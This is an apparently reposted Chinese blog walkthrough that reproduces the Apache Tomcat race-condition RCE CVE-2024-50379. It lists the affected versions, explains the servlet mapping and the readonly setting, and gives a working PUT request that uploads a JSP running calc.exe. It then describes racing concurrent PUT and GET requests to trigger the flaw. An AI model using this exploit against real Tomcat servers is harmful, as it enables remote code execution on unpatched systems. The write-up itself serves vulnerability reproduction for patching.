Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

admin 2024年12月19日17:34:23评论18 views字数 3980阅读13分16秒阅读模式

#首先感谢Btwlon、阿呆攻防公众号主两位师傅的耐心答复!

#WingBy小密圈知识星球简介在文末。

前言

最近爆出 Apache Tomcat条件竞争导致的RCE,影响范围当然是巨大的,公司也及时收到了相关情报,于是老大让我复现,以更好的帮助公司进行修复漏洞。

复现难度其实并不大,但是成功率很低,我在复现过程中也尝试了很多tomcat、java版本,操作一样但结果不同,相信很多师傅也在复现,希望能够成功,所以我对“成功率”进行了一点点研究,希望能够提高师傅们复现成功的概率。

环境搭建

经过多次的尝试,建议大家使用java8不要用太高的java版本 否则难以复现成功(关注后台回复20241219可以获取跟我一样的漏洞复现环境和POC)这里使用的环境如下:

jre1.8.0_202

apache-tomcat-9.0.63

windows虚拟机

配置环境变量

这里一定要配置JAVA_HOME否则会报错

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

需要将这个版本的java的环境变量置顶,防止其他版本的干扰,大家应该都明白

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

配置CATALINA_BASE

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

这下环境变量就已经配置齐了 这个时候就已经可以正常启动tomcat了 运行这个批处理文件

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

启动成功(乱码无所谓的 web.xml改一下GBK即可)

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

漏洞分析

影响版本

11.0.0-M1 <= Apache Tomcat < 11.0.2

10.1.0-M1 <= Apache Tomcat < 10.1.34

9.0.0.M1 <= Apache Tomcat < 9.0.98

漏洞原理

首先来看看著名的CVE-2017-12615,我们查看tomocat的配置 (conf/web.xml)

    <!-- The mapping for the default servlet -->    <servlet-mapping>        <servlet-name>default</servlet-name>        <url-pattern>/</url-pattern>    </servlet-mapping>    <!-- The mappings for the JSP servlet -->    <servlet-mapping>        <servlet-name>jsp</servlet-name>        <url-pattern>*.jsp</url-pattern>        <url-pattern>*.jspx</url-pattern>    </servlet-mapping>

当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。而我们查看CVE-2017-12615的payload可知,它对文件后缀采取了一些绕过,例如PUT一个1.jsp/、1.jsp空格、1.jsp%00从而绕过JSP servlet的限制,让default servlet来处理请求。当default servlet处理PUT请求时如下图

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC
    @Override    protected void doPut(HttpServletRequest req, HttpServletResponse resp)        throws ServletException, IOException {        if (readOnly) {            sendNotAllowed(req, resp);            return;        }        String path = getRelativePath(req);        WebResource resource = resources.getResource(path);        Range range = parseContentRange(req, resp);        if (range == null) {            // Processing error. parseContentRange() set the error code            return;        }        InputStream resourceInputStream = null;        try {            // Append data specified in ranges to existing content for this            // resource - create a temp. file on the local filesystem to            // perform this operation            // Assume just one range is specified for now            if (range == IGNORE) {                resourceInputStream = req.getInputStream();            } else {                File contentFile = executePartialPut(req, range, path);                resourceInputStream = new FileInputStream(contentFile);            }            if (resources.write(path, resourceInputStream, true)) {                if (resource.exists()) {                    resp.setStatus(HttpServletResponse.SC_NO_CONTENT);                } else {                    resp.setStatus(HttpServletResponse.SC_CREATED);                }            } else {                resp.sendError(HttpServletResponse.SC_CONFLICT);            }        } finally {            if (resourceInputStream != null) {                try {                    resourceInputStream.close();                } catch (IOException ioe) {                    // Ignore                }            }        }    }

会去检查配置文件中的readonly的值是否为false,如果是true的话就直接return也就是不允许put请求,所以我们需要在配置文件中进行如下设置 (conf/web.cml) 注意是default servlet,因为上面讲了我们最终处理put请求是default servlet

    <servlet>        <servlet-name>default</servlet-name>        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>        <init-param>            <param-name>debug</param-name>            <param-value>0</param-value>        </init-param>        <init-param>            <param-name>listings</param-name>            <param-value>false</param-value>        </init-param>        <init-param>            <param-name>readonly</param-name>            <param-value>false</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>

最终就可以进行put上传shell了,这个就是CVE-2017-12615

那么再看看最近很火的CVE-2024-50379。原理是条件竞争,通过并发put文件上传非标准后缀的“jsp”,并不断发起get请求一个标准后最的“jsp”文件,最终由于服务器的大小写不敏感,导致请求成功造成RCE。

看看pyload是put一个xxx.Jsp(也可以PUT html........),为什么长这样呢?阅读了上文,固然就明白了。 当然是要绕过jsp servlet的后缀匹配规则了然后让default servlet去处理请求。

现在我们尝试PUT一下 数据包如下

PUT /test.Jsp HTTP/1.1Host: 192.168.19.135:8080<% Runtime.getRuntime().exec("calc.exe");%>

返回状态码是201代表上传成功 可以去webapps/ROOT目录看到

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POCApache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

再次重放请求的时候就是204的状态码了  说明文件已经存在

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POCApache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

漏洞复现

接下来开始复现该漏洞 我用的是window虚拟机 而不是真机,因为我电脑内存太大,可能效果不会很明显,毕竟要用到条件竞争,所以如果想成功率高一点建议用虚拟机,把内核、内存大小设置小一点。

yakit-发送到webFuzzer 发三个  get的并发线程建议大于前面两个

第一个

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

第二个

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

第三个

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

开弹

Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

在我虚拟机卡的时候往往容易成功 有时候直接用yakit就能成功,有时候不行,所以我同时用yakit和脚步一起打

 获取跟我一模一样的漏洞复现环境和POC

通过网盘分享的文件:CVE-2024-50379链接: https://pan.baidu.com/s/18YHUN30cOH4qKQp3Dmzmug?pwd=WiBy 提取码: WiBy --来自百度网盘超级会员v4的分享

原文始发于微信公众号(Ting的安全笔记):Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月19日17:34:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat 最新RCE 稳定复现+分析 保姆级!!!附复现视频+POChttps://cn-sec.com/archives/3529316.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息